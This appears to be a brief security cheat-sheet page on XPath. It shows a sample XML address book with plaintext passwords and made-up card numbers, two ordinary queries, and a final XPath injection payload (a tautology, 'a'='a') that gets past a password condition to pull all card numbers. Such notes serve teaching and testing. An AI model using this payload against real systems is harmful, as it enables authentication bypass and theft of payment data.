Skip to content

XPATH

XPATH

Example Data:

<addressBook>
	<address>
		<firstName>William</firstName>
		<surname>Gates</surname>
		<password>MSRocks!</password>
		<email>[email protected]</email>
		<ccard>5130 8190 3282 3515</ccard>
	</address>
	<address>
		<firstName>Chris</firstName>
		<surname>Dawes</surname>
		<password>secret</password>
		<email>[email protected]</email>
		<ccard>3981 2491 3242 3121</ccard>
	</address>
	<address>
		<firstName>James</firstName>
		<surname>Hunter</surname>
		<password>letmein</password>
		<email>[email protected]</email>
		<ccard>8113 5320 8014 3313</ccard>
	</address>
</addressBook>

Get all Emails:

//address/email/text()

Get user Dawes:

//address[surname/text()='Dawes']

Get all CredCards injection:

//address[surname/text()=’Dawes’ and password/text()=’’ or ‘a’=’a’]/
ccard/text()